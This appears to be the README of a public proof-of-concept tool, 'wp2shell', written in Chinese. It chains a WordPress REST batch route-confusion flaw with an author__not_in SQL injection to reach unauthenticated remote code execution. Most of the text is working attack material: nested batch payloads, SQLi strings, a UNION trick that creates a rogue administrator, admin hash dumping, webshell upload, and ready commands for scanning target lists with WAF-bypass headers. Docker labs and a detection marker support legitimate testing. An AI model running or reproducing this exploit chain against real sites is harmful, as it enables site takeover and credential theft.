CVE-2026-63030 + CVE-2026-60137 - “wp2shell”:WordPress 核心中的未认证 RCE
REST API 批量路由混淆(CVE-2026-63030)与
WP_Queryauthor__not_inSQL 注入(CVE-2026-60137)→ 针对默认 WordPress 安装的预认证远程 代码执行。由 Adam Kues(Assetnote / Searchlight Cyber)发现,披露于 2026-07-17。公告:GHSA-ff9f-jf42-662q、 GHSA-fpp7-x2x2-2mjf。
| 漏洞链(未认证 RCE) | WordPress 6.9.0 - 6.9.4 和 7.0.0 - 7.0.1 |
| 仅 SQLi(需要辅助插件/主题) | 6.8.0 - 6.8.5 |
| 不受影响 | ≤ 6.8(针对批量混淆);6.9.5 / 7.0.2 / 7.1-beta2(已修补) |
| 前置条件 | REST API 可达;无持久化对象缓存(Redis/Memcached);≥1 篇已发布文章 |
| 所需认证 | 无 |
| 影响 | 未认证 → 创建新管理员 → 代码执行(SQLi 还能转储管理员哈希) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests 依赖,也无残缺功能。shell 在无凭据的情况下,通过单文章 UNION 混淆伪造一个假的 WP_Post,桥接定制器以创建全新管理员(POST /wp/v2/users),登录后植入令牌门控的 WebShell。SQLi 管理员哈希转储(read --preset users)作为第二条已验证路径保留。block_cannot_read),用作主要的非破坏性 check。sqli),其他 PoC 均不具备。$wp$2y$ 密码哈希的 hashcat 模式(-m 35500)。wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
本工具借鉴的六个公开 PoC 未在此处内置;它们链接在致谢中。
以下所有内容均在本地 Docker 实验室中验证(见第 4 节);未在实验室中运行的声明均已标注。
该漏洞链组合了两个独立的缺陷。行号来自真实的 WordPress 6.9.4 源码(从 wordpress:6.9.4-apache 提取)。
author__not_in SQL 注入(CVE-2026-60137)wp-includes/class-wp-query.php,WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
字符串形式的 author__not_in 会跳过 is_array() 检查(2404);implode(',', (array)"…") 会原样返回它(2408),并直接拼接到 SQL(2409)中。其姊妹参数 author__in(2415)在 implode 内部 重新应用了 array_map('absint', …),因此是安全的——缺失的那个 array_map 就是漏洞所在。该值最终以 ... post_author NOT IN (<value>) ... 形式落地,因此 0) <sql>-- - 可闭合列表并附加 SQL。
困难之处在于传入字符串:REST 文章端点将 author_exclude → author__not_in(class-wp-rest-posts-controller.php:247)映射,但将其声明为整数数组 'type' => 'array',因此核心会强制转换/拒绝字符串:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
这就是为什么单独的缺陷 A 仅属于“辅助型”。缺陷 B 在 6.9+ 上让该字符串偷渡通过了验证。
wp-includes/rest-api/class-wp-rest-server.php,serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
一个 WP_Error 子请求会被推入 $validation[](1752),但不会被推入 $matches[](1753 处的 continue 跳过了 1757),因此 $matches 会变短,$matches[$i](1841)持有的是下一个请求的处理程序。请求 i 携带自身的参数和自身(已通过的)验证结论,交由请求 i+1 的处理程序分发。
回归根源(经 6.8.3 → 6.9.4 差异验证): 在 6.8.3 中,循环针对每个请求都会推入 $matches[] = $match,坏路径会在第一个循环中被丢弃——数组保持对齐,不会失步。6.9.0 的重构引入了偏移。这正是 6.8.x 仅存在“SQLi”而 RCE 链始于 6.9.0 的原因。
该补丁同样为错误条目追加 $matches[],加固了重入(re-entrancy),并使用 id 列表辅助函数解析 author__not_in。(测试时 6.9.5 尚未出现在 Docker Hub 上,因此这来自公告,而非实验室差异分析。)
批量模式仅允许 POST/PUT/PATCH/DELETE 子请求,但文章的 get_items(即 author_exclude 汇聚点)仅支持 GET,因此混淆被嵌套两次:
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] bad path → WP_Error → +1 shift
{"method":"POST","path":"/wp/v2/posts", // [1] carrier: validated as a posts CREATE →
"body": { /* INNER batch */ }}, // its `requests` body is never schema-checked
{"method":"POST","path":"/batch/v1", // [2] handler → [1] dispatched as serve_batch_request_v1
"body":{"requests":[]}} // (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
// [0] POST /// WP_Error → inner +1 shift
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users has no author_exclude → PAYLOAD passes untouched
// [2] GET /wp/v2/posts [2]'s handler = posts get_items → runs [1] → SQLi
/// 是失步启动器(任何被 wp_parse_url() 拒绝的路径都可用)。该工具还提供同一技巧的 --variant categories 版本。
一个非破坏性的、与版本无关的探针即可确认 CVE-2026-63030,即使 SQLi 汇聚点被对象缓存或 WAF 过滤:在一批 POST 子请求中,失步使得 POST /wp/v2/posts 由区块渲染器的权限回调来响应:
responses[1].code == "block_cannot_read" ← a permission error from a handler it never asked for
wp2shell.py check 将此用作主要信号(以文章与分类的结构形态作为后备)。(检测技术:Hadrian / Icex0。)
该值位于 NOT IN (<value>) 内部,这是一个干净的布尔预言机:当且仅当 <cond> 成立时,0) AND (<cond>)-- - 返回行。提取方式是对 ASCII(SUBSTRING(COALESCE((expr),''),n,1)) 进行逐字符二分搜索(COALESCE 可防止 NULL 短路导致空读取)。
实验室说明 - 基于时间的注入需谨慎。 在默认安装下,朴素的
0) OR SLEEP(n)-- -不会产生延迟:已发布的文章行首先满足查询并使OR短路。确认方式采用确定性的布尔差异;计时使用0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -。实测 0.01 秒对比 3.04 秒。
实用的 RCE 无需密码、无需破解。shell 在无凭据的情况下即可运行完整漏洞链,全部已在实验室验证:
WP_Post 原语。 另一种混淆变体可到达一个干净、可 UNION 的查询:/wp/v2/posts/999999?orderby=none&per_page=500 按单文章条目模式进行校验(因此仅限集合的参数会不加检查地通过),随后失步到文章集合处理程序上。orderby=none 会移除尾部的 ORDER BY,而 per_page=500 使 WP_Query 保持全行模式,因此 UNION SELECT 可以作为一个伪造的 wp_posts 行存活。oembed_cache + customize_changeset(其 user_id 设为现有管理员的 ID,通过 UNION 读取)+ nav_menu_item 行。触发 oEmbed 可使定制器变更集以该管理员身份运行。roles:["administrator"] 的 在借用的管理员上下文下即可成功,一个新的 管理员会出现在 中(已验证:新增了一行管理员记录)。较旧的备选方案(--user/--password)。 read --preset users 转储 wp_users.user_pass(WordPress 6.9 的 $wp$2y$… = 基于 HMAC-SHA384 的 bcrypt;使用 hashcat -m 35500 破解),然后 shell --user/--password 使用恢复出的明文登录。这条路确实可行,但 bcrypt 使其速度很慢,因此上述创建管理员的漏洞链才是标准路径。
6.8.x 存在缺陷 A 但没有缺陷 B,且核心会将 author_exclude 强制转换为整数数组,因此只有通过向 WP_Query 传递原始字符串的辅助插件/主题才能触达该 SQLi。sqli 子命令直接注入此类汇聚点(默认基于时间;使用 --true-contains 可实现快速布尔注入)。已在 6.8.3 上针对 lab/sqli-only 辅助插件演示。
wp2shell.py单个文件,Python 3.7+,仅依赖标准库。每条命令均具备生产级传输:--insecure(自签名 TLS)、-H 'K: V'(可重复)、--user-agent、--proxy、--retries、--delay。
check fingerprint + confusion marker + confirm the SQLi (non-destructive)
read read the DB via blind SQLi (--preset fingerprint|users | --query "SELECT …")
shell RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan threaded vuln-check over a single URL OR a .txt list (--prove, --json)
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id # or reuse an existing admin
./wp2shell.py scan https://target --prove # single URL, extract @@version as proof
./wp2shell.py scan targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # full version × DB matrix
# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
实验室管理员为 admin / Admin!2345:明文仅供实验室演示认证后的 shell;真实攻击者会恢复哈希并破解它。
数据库范围仅限于 MySQL 和 MariaDB:WordPress 核心在生产环境中不支持其他引擎(没有 PostgreSQL/MSSQL 驱动;SQLite 仅能通过罕见的插件使用)。
每条命令均在实验室中实际演练: check(标记 block_cannot_read + 布尔 + 时间)、read(fingerprint / users / --query)、shell(免破解创建管理员 → 登录 → WebShell → uid=33(www-data),外加 --user/--password 和交互式 REPL)、sqli(布尔 + 时间)、scan(单个 URL + .txt + --json + --prove)、--variant categories payload、端点自动检测(/wp-json/ + ?rest_route=)以及传输标志。
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!... (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
block_cannot_read 检测思路)、VulnCheck。wp2shell.py 中从头重新实现,未逐字复制任何代码):
WP_Post,驱动 oembed_cache + customize_changeset(user_id=admin)+ nav_menu_item 关系图,使定制器以现有管理员身份运行,然后 POST /wp/v2/users 创建新管理员。仅用于授权的安全测试和教育 - 针对你拥有或获得书面授权测试的系统。本文所述的所有利用均在本地、一次性的 Docker 实验室中运行;WebShell 受令牌门控保护,默认命令无害。你须对自身的使用方式负责。
POST /wp/v2/userswp2_*wp_usersupdate.php?action=upload-plugin 上传令牌门控插件并执行命令。已验证:uid=33(www-data)。| WordPress | 数据库引擎 | 路径 | check | 提取的数据 |
|---|
| 6.9.4 | MariaDB 11 | 批量混淆链 | ✅ 完整 RCE | admin $wp$2y$… 哈希 + @@version |
| 7.0.1 | MariaDB 11 | 批量混淆链 | ✅ 完整 RCE | admin 哈希 |
| 6.9.4 | MySQL 8.4 | 批量混淆链 | ✅ 完整 RCE | admin 哈希(payload 可移植) |
| 6.8.3 | MariaDB 11 | 批量混淆链 | ⛔ 207 但无混淆 | -(与公告一致) |
| 6.8.3 | MariaDB 11 | 辅助型 sqli | ✅ CVE-2026-60137 | @@version、用户、数据库 - 布尔和基于时间 |
union_inject 单文章混淆、UnionSQLi、PreAuthAdminCreator)、block_cannot_read 标记检测器、NULL 安全的 COALESCE 提取,以及抗抖动计时。$wp$2y$ → hashcat -m 35500):hashpwn / hashcat。